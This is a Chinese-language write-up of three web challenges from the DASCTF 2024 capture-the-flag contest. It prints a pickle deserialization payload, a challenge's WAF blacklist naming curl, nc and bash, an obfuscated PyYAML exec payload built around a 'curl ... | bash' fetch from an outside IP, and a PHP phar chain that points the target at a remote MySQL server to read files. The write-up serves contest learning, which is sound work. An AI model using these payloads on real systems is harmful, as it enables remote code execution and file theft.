DASCTF 2024最后一战-WEB-gxngxngxn

DASCTF 2024最后一战

const_python

很直白的pickle反序列化,直接打

import os
import builtins
import pickle
import base64
import subprocess
class A():
    def __reduce__(self):
        return (subprocess.check_output, (["cp","/flag","/app/app.py"],))
a=A()
b=pickle.dumps(a)
with open("1.png", "wb") as f:
     pickle.dump(a, f)
print(base64.b64encode(b))

yaml_matser

import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


    blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'sleep', 'setstate',
                       'command','static','templates','session','&','globals','builtins'
                       'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
                       'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

    input_str_lower = str(input_str).lower()


    for term in blacklist_terms:
        if term in input_str_lower:
            print(f"Found blacklisted term: {term}")
            return True
    return False



file_pattern = re.compile(r'.*\.yaml$')


def is_yaml_file(filename):
    return bool(file_pattern.match(filename))

@app.route('/')
def index():
    return '''
    Welcome to DASCTF X 0psu3
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/Yam1">Yam1</a>
    '''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            uploaded_file = request.files['file']

            if uploaded_file and is_yaml_file(uploaded_file.filename):
                file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
                uploaded_file.save(file_path)

                return jsonify({"message": "uploaded successfully"}), 200
            else:
                return jsonify({"error": "Just YAML file"}), 400

        except Exception as e:
            return jsonify({"error": str(e)}), 500


    return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
    filename = request.args.get('filename','')
    if filename:
        with open(f'uploads/{filename}.yaml', 'rb') as f:
            file_content = f.read()
        if not waf(file_content):
            test = yaml.load(file_content)
            print(test)
    return 'welcome'


if __name__ == '__main__':
    app.run()

看到一个yaml反序列化,直接绕,bytes命令执行

exp = '__import__("os").system("curl http://81.70.252.29/1.txt|bash")'

print(f"exec(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "exec(bytes([[j][0]for(i)in[range(29)][0]for(j)in[range(256)][0]if[i]in[[0]]and[j]in[[95]]or[i]in[[1]]and[j]in[[95]]or[i]in[[2]]and[j]in[[105]]or[i]in[[3]]and[j]in[[109]]or[i]in[[4]]and[j]in[[112]]or[i]in[[5]]and[j]in[[111]]or[i]in[[6]]and[j]in[[114]]or[i]in[[7]]and[j]in[[116]]or[i]in[[8]]and[j]in[[95]]or[i]in[[9]]and[j]in[[95]]or[i]in[[10]]and[j]in[[40]]or[i]in[[11]]and[j]in[[34]]or[i]in[[12]]and[j]in[[111]]or[i]in[[13]]and[j]in[[115]]or[i]in[[14]]and[j]in[[34]]or[i]in[[15]]and[j]in[[41]]or[i]in[[16]]and[j]in[[46]]or[i]in[[17]]and[j]in[[115]]or[i]in[[18]]and[j]in[[121]]or[i]in[[19]]and[j]in[[115]]or[i]in[[20]]and[j]in[[116]]or[i]in[[21]]and[j]in[[101]]or[i]in[[22]]and[j]in[[109]]or[i]in[[23]]and[j]in[[40]]or[i]in[[24]]and[j]in[[34]]or[i]in[[25]]and[j]in[[105]]or[i]in[[26]]and[j]in[[100]]or[i]in[[27]]and[j]in[[34]]or[i]in[[28]]and[j]in[[41]]]))"

strange_php

审会源码

首先看到welcome.php中

这里看可以删除留言,而且message可控,跟进deleteMessage函数

这里一眼顶真,可以触发phar,加上我们可以自定义留言,也就是可控上传文件的内容,所以很明显要打phar反序列化

我们看到UserMessage.php

这里有个__set魔术方法,如果filePath可控的话,就可以实现任意文件读取

那么怎么触发__set呢?

看到PDO_connect.php中

这里是可控的,如果我们将ATTR_DEFAULT_FETCH_MODE指定为262152,就可以将结果的第一列做为类名, 然后新建一个实例,在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。

接着我们看到User.php

这里可以调用到pdo中的get_connection,那么这里就是入口了

我们可以让靶机连我们远程的数据库,来自定义filePath的值,在自己vps上新建个数据库和表

链子如下:

<?php

class User{

  private $conn;

  private $table = 'users';

  public $id;

  public $username="UserMessage";

  private $password="aaaa";

  public $created_at;

  public function __construct() {

​    $this->conn = new PDO_connect();;

  }



}

class PDO_connect{



  private $pdo;

  public $con_options = array(

​    "dsn"=>"mysql:host=81.70.252.29:3306;dbname=users;charset=utf8",

​    'host'=>'81.70.252.29',

​    'port'=>'3306',

​    'user'=>'joker',

​    'password'=>'joker',

​    'charset'=>'utf8',

​    'options'=>array(PDO::ATTR_DEFAULT_FETCH_MODE=>262152,

​      PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)

  );

  public $smt;

}

$a=new User();

$phar = new Phar("ppppp.phar"); 

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); 

$phar->addFromString("happy.txt", 'happy'); 

$phar->setMetadata($a);

$phar->stopBuffering();

$file_contents = file_get_contents("ppppp.phar");

echo urlencode(base64_encode($file_contents));

写入,然后删除

成功触发phar,直接访问log/0bc7be346d4df269543565b6b7cd231a.txt读到flag

posted @ 2024-12-22 11:45  gxngxngxn  阅读(364)  评论(7编辑  收藏  举报